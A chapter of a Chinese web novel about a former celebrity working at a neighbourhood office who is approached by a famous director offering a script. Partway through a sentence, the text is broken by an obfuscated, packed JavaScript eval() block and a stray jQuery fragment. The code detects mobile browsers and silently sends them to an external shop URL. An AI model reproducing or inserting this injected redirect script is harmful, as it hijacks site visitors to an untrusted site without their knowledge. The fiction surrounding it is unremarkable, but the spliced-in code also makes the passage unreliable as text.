《城市有你》先导片播出后第五天，临江街道办正式进入了“王主任头疼综合征”时期。
王主任的头疼分三个阶段。
第一阶段：周五晚上十点。
全网爆红之后的第一夜，王主任接到了区里领导的电话。电话那头语气极其复杂。
“老王。”
“诶。”
“你们这小谢同志——”
“嗯？”
“——能不能让他少说点话。”
王主任：“……领导您这是什么意思？”
“你看他那句‘挡着我打印机了’。”领导慢悠悠，“热搜第二。他那句‘以前拍我现在扫码’，热搜第一。”
“嗯。”
“老王啊，你这街道的舆论压力，能不能别全靠这一个小伙子扛？”
王主任沉默了两秒：“领导，您这话什么意思？”
“意思是——他说得太好，对我们其他街道很不公平。”
王主任听懂了。领导的意思是，别的街道办主任打电话来吐槽她了。
“老王。”领导继续，“你得有点大局观。”
“我一向有。”
“你这叫有？”
“领导，您也知道小谢是个怎么样的人。”王主任慢悠悠，“我管不住他的嘴。”
“——你不想管。”
“……”
“老王。”
“嗯？”
“你心思我懂。”领导顿了顿，“但区里不是只有你临江。”
“我知道。”
“下周市里要开评优会。”领导放轻语气，“你把你们单位这半年材料整一份交上去。”
王主任手里的保温杯顿了一下。
她听明白了。
前面那些“舆论压力”都是幌子。
这通电话真正要说的，是评优。
她语气都变了。
“领导。”
“嗯？”
“——谢谢您。”
“别谢。”领导笑了一下，“该是你们的。就是——那孩子——”
“嗯。”
“——让他少说点话。”
“……”
“真受不了他那张嘴。”
王主任挂完电话，长长出了一口气。
她把保温杯往桌上一放。
放得很稳。
就是嘴角没那么稳。
第二阶段：周六早上七点。
王主任刚到办公室，就看见谢临舟的工位上多了两个快递盒。快递单上的姓都一样——“闻”。
细看，两个盒子里都是剧本：一本封皮深绿，一本封皮鹅黄，一厚一薄。
王主任：“……”
小林一进门，差点没被那两个盒子晃到。
“王、王主任——”
“嗯。”
“这——”
“闻叙送的。”
“两本？”
“两本。”
“他——他不知道谢老师在上班吗？”
“知道。”王主任淡淡道，“但他还是寄了。”
“……为什么？”
“盒子里夹着便签。”
她拎起其中一个盒子盖板。果然，里面夹着一张手写便签——
《归途》。
主稿和备份你随便看。
我不催。
王主任看完，沉默了很久。
最后她把那张便签放回盒子，把两个盒子推到谢临舟工位抽屉的最上面一层。
“这人不催。”她说。
小林缩在旁边：“不催还寄两本？”
“所以才厉害。”王主任把抽屉推回去，“两本放在这儿，不是逼他今天拆。小谢这个人，最烦别人按头让他做事。”
小林愣了愣：“那——那谢老师会拆吗？”
“拆不拆，是他的事。”王主任端起保温杯，“我们的事，是把抽屉关好，让他自己决定哪天打开。”
她说完真把抽屉推上了。两个盒子静静地躺在里面，封口完好。
陈默自己昨晚发了一条视频——一张静态图，盒子摆在工位上，没拆。字幕只有一行：
他在上班。
这条视频两小时破百万播放。
小林其实昨晚加班时就见过这两个盒子，还顺手拍了一张照。
他当时也发了一条。
旁白是另一种风格——
“哇塞！这就是顶流的待遇！”
发出去不到三分钟，陈默的微信就来了。
小林。别乱带节奏。
发图，不加话。加了话，就会变成节目。
这件事不是节目。
小林当时就被骂清醒了，默默地把那条删了。
第三阶段：周一上午十点二十。
谢临舟正在社区活动室门口查灭火器压力表。他今天穿着一身洗得发白的街道工装，袖口照旧挽到手肘。那只曾经磨破过的右袖口，如今已经被王主任缝过三回，针脚越来越歪，但也越来越牢。
活动室门口的灭火器有两个。左边那个是年前刚换的新款，压力表指针还在绿色区域。右边那个是五年前的老款，指针已经开始往黄区滑了。
谢临舟蹲下来，拍了两张照，又敲了一下瓶身，声音闷闷的。他在记录本上写——
活动室东门灭火器 B 型·压力下滑·建议下月更换。
活动室西门灭火器 A 型·正常。
他正在写最后一行，手机在口袋里震了三次。他本来没想接，直到周敬拎着记录本从楼梯拐角下来。
“你手机。”
“嗯。”
“响半天了。”
“骚扰电话。”
“你这骚扰电话挺执着。”
谢临舟掏出手机扫了一眼。陌生号码，归属地首都。他犹豫了半秒，按下接听。
“哪位？”
电话那头安静了一秒，传来一个很沉的男声。
“谢临舟？”
“是我。”
“我是闻叙。”
楼道里顿时静了。周敬原本还在翻记录表，听见这名字，动作都停了。不是因为他多懂娱乐圈，而是但凡这两年看过电影的人，都不可能没听过这个名字。
闻叙。
国内最难请、也最难伺候的那类导演。
奖拿得多，脾气也大，拍片子不看流量脸色，也不太爱给平台资本面子。
圈里传闻，他骂起投资人来，比影评人还刻薄。
谢临舟“嗯”了一声：“闻导好。”
电话那边笑了下：“你倒是比新闻里礼貌。”
“在查消防，没空摆架子。”
周敬在旁边憋住了。
闻叙愣了一下，笑意反而更深：“行，我直说。我在筹备一部新片，想见你。”
“不见。”
这回轮到电话那头沉默。三秒后，闻叙问：“理由？”
“上班。”
“我知道你在街道办。”
“知道还约。”
“我可以等你下班。”
“下班之后我也不想见。”
空气再次静了，楼道里只剩远处居民说话和脚步回响。
半晌，闻叙开口。语气并不恼，反倒更像起了点兴趣。
“谢临舟。”
“嗯。”
“你以前也这么难约？”
“以前拿别人钱。”他说，“现在拿街道工资。”
“区别很大？”
“挺大。”谢临舟低头，在消防记录表上写下“二楼东侧指示牌老化，需更换”，然后说，“现在拒绝人，不算违约。”
周敬彻底绷不住了，转过身去装咳嗽。
闻叙那边又笑了。
“那这样。”他说，“我不耽误你工作。那两本先放你那儿，你有空拆。要是看完还不想见，我不烦你。”
“没空看。”谢临舟说。
“总有休息的时候吧？”
“周三查消防。”
“——嗯？”
“周四回访独居老人。”
“——”
“周五——”
“停。”闻叙笑着打断，“你这行程听着比我拍戏还满。”
“所以不见。”
“你先别急着拒绝。”闻叙顿了顿，语气少有地认真起来。
“我不是让你回去演偶像剧，也不是让你替谁挽尊。”
“我这部片子，想拍一个人。”
“从高处摔下来。”
“没死。”
“也没装作自己还站在高处。”
“后来，他学会了站到地上。”
谢临舟写字的动作顿了一下。
电话那边很安静。闻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509968|202955||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
叙继续道：“我看了节目，也看了你以前的东西。你现在——比你最红的时候更对劲。”
楼道窗外有风灌进来，吹得记录表的纸页轻轻掀了一角。
谢临舟低头看着那行“二楼东侧指示牌老化”。
最后一笔落在纸上，墨色重了一点。
过了几秒，他才开口。
“那两本先放在我这儿。”
周敬挑了挑眉。这已经是松口了。
闻叙也听出来了。他没乘胜追击，只说：“行。你慢慢看。”
电话挂了。楼道里只剩消防栓那块金属牌被风吹得“咔嗒”响了一下的声音。
周敬忍不住了：“这导演很厉害？”
“挺厉害。”谢临舟说。
“那你真不考虑回去？”
“考虑什么？”
“拍戏啊。”周敬看他一眼，“你刚刚明显不是完全没兴趣。”
谢临舟把消防表翻过一页，语气平平：“兴趣和去不去，是两码事。”
“那什么能让你去？”
“现在没有。”
说完他抬头看了眼走廊尽头的安全出口牌。那块牌子下方的指示灯已经有点暗。他用笔在表上又记了一笔。
“先把这个换了。”
周敬忽然觉得，闻导这电话打得挺不是时候——毕竟在谢临舟这里，再大的导演，目前也排在“二楼东侧指示牌老化”后面。
回到办公室，谢临舟把消防记录表归档，打开自己工位的抽屉。那两个还没拆的快递盒，静静放在里面。
他盯着它们看了两秒，然后拿起其中那个深绿色封皮的，用美工刀一划。
盒盖打开，剧本静静躺在里面。封面上是闻叙一手自己题的字——
《归途》。
谢临舟把剧本拿出来。他没急着翻，只是把它放在桌面上。
工位旁边路过的小林凑过来瞟了一眼。
“谢——”
“拆了。”谢临舟说。
“啊？”
“主稿。”
小林吞了吞口水：“那您什么时候看？”
“现在。”
“现、现在？您不是说‘没空看’？”
谢临舟把剧本翻开：“那是对外。”
小林看着谢临舟低头翻开第一页。第一页是空白，扉页上只有一行字——
献给那些把楼道里那盏暗下去的指示灯
重新换上的人。
谢临舟盯着这行字，看了整整一分钟。然后翻到了第二页。
小林小心翼翼地问：“您能——能不能说点感想。我想给王主任汇报一下，我怕她今天晚上睡不着觉。”
谢临舟抬眼看了他一眼，然后低下头继续翻第三页，只说了两个字。
“能看。”
小林愣了一下：“能看？这是——表扬吗？”
“嗯。”
“从您嘴里说出‘能看’——”小林咽了咽口水，“已经相当于五星好评了对吧？”
谢临舟没理他。他只是平平地翻到了下一页。
当天傍晚，王主任下班前巡办公室，看见了谢临舟桌上那本绿皮剧本。
她愣了一下。她没问，但她把自己的保温杯往桌上轻轻一搁。端起来的时候，里面的水已经凉了。她没再续热，只是看着那本绿皮剧本，站了很久。
半晌，她自言自语。
“闻叙这人——厉害。”
她抿了抿嘴。
“不是他剧本写得多好。”
“是他知道小谢现在不缺机会。”
她停了停。
“缺的是一个不催的人。”
她没再说话。
锁门之前，把保温杯在桌上一放。
门外的天色又暗了一层。楼下，陈默穿着他那件红色志愿者袖章、抱着最后一摞没发完的反诈手册，正冲街道办门口招呼着路过的大爷——
“大爷，您带两本回去给大妈看看啊！”
“好嘞！”
街道办的灯一盏一盏亮起来。
谢临舟把第三页翻过去。
剧本压在左手边。
高龄补贴表压在右手边。
他拿起印章，给张大爷明天要领的那张表盖了个戳。
“咔哒。”
印章稳稳落下。
和昨天、前天、大前天一样平稳。